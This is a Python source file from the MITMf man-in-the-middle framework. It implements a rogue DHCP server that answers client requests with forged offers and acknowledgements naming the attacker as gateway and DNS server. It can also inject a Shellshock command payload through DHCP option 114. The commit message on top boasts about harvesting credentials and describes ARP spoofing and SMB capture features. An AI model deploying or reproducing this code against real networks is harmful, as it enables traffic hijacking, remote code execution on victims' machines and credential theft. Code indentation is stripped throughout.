MITMf/core/protocols/dhcp/DHCPServer.py
byt3bl33d3r 9712eed4a3 This is 1/2 of the work done... lot's of cool stuff!
I've re-written a decent amount of the framework to support dynamic config file updates, revamped the ARP Spoofing 'engine' and changed the way MITMf integrates Responder and Netcreds.

- Net-creds is now started by default and no longer a plugin.. It's all about getting those creds after all.
- Integrated the Subterfuge Framework's ARPWatch script, it will enable itself when spoofing the whole subnet (also squashed bugs in the original ARP spoofing code)
- The spoof plugin now supports specifying a range of targets (e.g. --target 10.10.10.1-15) and multiple targets (e.g. --target 10.10.10.1,10.10.10.2)
- An SMB Server is now started by default, MITMf now uses Impacket's SMBserver as supposed to the one built into Responder, mainly for 2 reasons:
  1) Impacket is moving towards SMB2 support and is actively developed
  2) Impacket's SMB server is fully functional as supposed to Responder's (will be adding a section for it in the config file)
  3) Responder's SMB server was unrealiable when used through MITMf (After spending a day trying to figure out why, I just gave up and yanked it out)

- Responder's code has been broken down into single importable classes (way easier to manage and read, ugh!)
- Started adding dynamic config support to Responder's code and changed the logging messages to be a bit more readable.
- POST data captured through the proxy will now only be logged and printed to STDOUT when it's decodable to UTF-8 (this prevents logging encrypted data which is no use)
- Responder and the Beefapi script are no longer submodules (they seem to be a pain to package, so i removed them to help a brother out)
- Some plugins are missing because I'm currently re-writing them, will be added later
- Main plugin class now inharates from the ConfigWatcher class, this way plugins will support dynamic configs natively! \o/
2015-04-27 18:33:55 +02:00

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Python

import logging
import threading
import binascii
import random
logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy
from scapy.all import *
mitmf_logger = logging.getLogger('mitmf')
class DHCPServer():
def __init__(self, interface, dhcpcfg, ip, mac):
self.interface = interface
self.ip_address = ip
self.mac_address = mac
self.shellshock = None
self.debug = False
self.dhcpcfg = dhcpcfg
self.rand_number = []
self.dhcp_dic = {}
def start(self):
t = threading.Thread(name="dhcp_spoof", target=self.dhcp_sniff, args=(self.interface,))
t.setDaemon(True)
t.start()
def dhcp_sniff(self, interface):
sniff(filter="udp and (port 67 or 68)", prn=self.dhcp_callback, iface=interface)
def dhcp_rand_ip(self):
pool = self.dhcpcfg['ip_pool'].split('-')
trunc_ip = pool[0].split('.'); del(trunc_ip[3])
max_range = int(pool[1])
min_range = int(pool[0].split('.')[3])
number_range = range(min_range, max_range)
for n in number_range:
if n in self.rand_number:
number_range.remove(n)
rand_number = random.choice(number_range)
self.rand_number.append(rand_number)
rand_ip = '.'.join(trunc_ip) + '.' + str(rand_number)
return rand_ip
def dhcp_callback(self, resp):
if resp.haslayer(DHCP):
xid = resp[BOOTP].xid
mac_addr = resp[Ether].src
raw_mac = binascii.unhexlify(mac_addr.replace(":", ""))
if xid in self.dhcp_dic.keys():
client_ip = self.dhcp_dic[xid]
else:
client_ip = self.dhcp_rand_ip()
self.dhcp_dic[xid] = client_ip
if resp[DHCP].options[0][1] is 1:
mitmf_logger.info("Got DHCP DISCOVER from: " + mac_addr + " xid: " + hex(xid))
mitmf_logger.info("Sending DHCP OFFER")
packet = (Ether(src=self.mac_address, dst='ff:ff:ff:ff:ff:ff') /
IP(src=self.ip_address, dst='255.255.255.255') /
UDP(sport=67, dport=68) /
BOOTP(op='BOOTREPLY', chaddr=raw_mac, yiaddr=client_ip, siaddr=self.ip_address, xid=xid) /
DHCP(options=[("message-type", "offer"),
('server_id', self.ip_address),
('subnet_mask', self.dhcpcfg['subnet']),
('router', self.ip_address),
('lease_time', 172800),
('renewal_time', 86400),
('rebinding_time', 138240),
"end"]))
try:
packet[DHCP].options.append(tuple(('name_server', self.dhcpcfg['dns_server'])))
except KeyError:
pass
sendp(packet, iface=self.interface, verbose=self.debug)
if resp[DHCP].options[0][1] is 3:
mitmf_logger.info("Got DHCP REQUEST from: " + mac_addr + " xid: " + hex(xid))
packet = (Ether(src=self.mac_address, dst='ff:ff:ff:ff:ff:ff') /
IP(src=self.ip_address, dst='255.255.255.255') /
UDP(sport=67, dport=68) /
BOOTP(op='BOOTREPLY', chaddr=raw_mac, yiaddr=client_ip, siaddr=self.ip_address, xid=xid) /
DHCP(options=[("message-type", "ack"),
('server_id', self.ip_address),
('subnet_mask', self.dhcpcfg['subnet']),
('router', self.ip_address),
('lease_time', 172800),
('renewal_time', 86400),
('rebinding_time', 138240)]))
try:
packet[DHCP].options.append(tuple(('name_server', self.dhcpcfg['dns_server'])))
except KeyError:
pass
if self.shellshock:
mitmf_logger.info("Sending DHCP ACK with shellshock payload")
packet[DHCP].options.append(tuple((114, "() { ignored;}; " + self.shellshock)))
packet[DHCP].options.append("end")
else:
mitmf_logger.info("Sending DHCP ACK")
packet[DHCP].options.append("end")
sendp(packet, iface=self.interface, verbose=self.debug)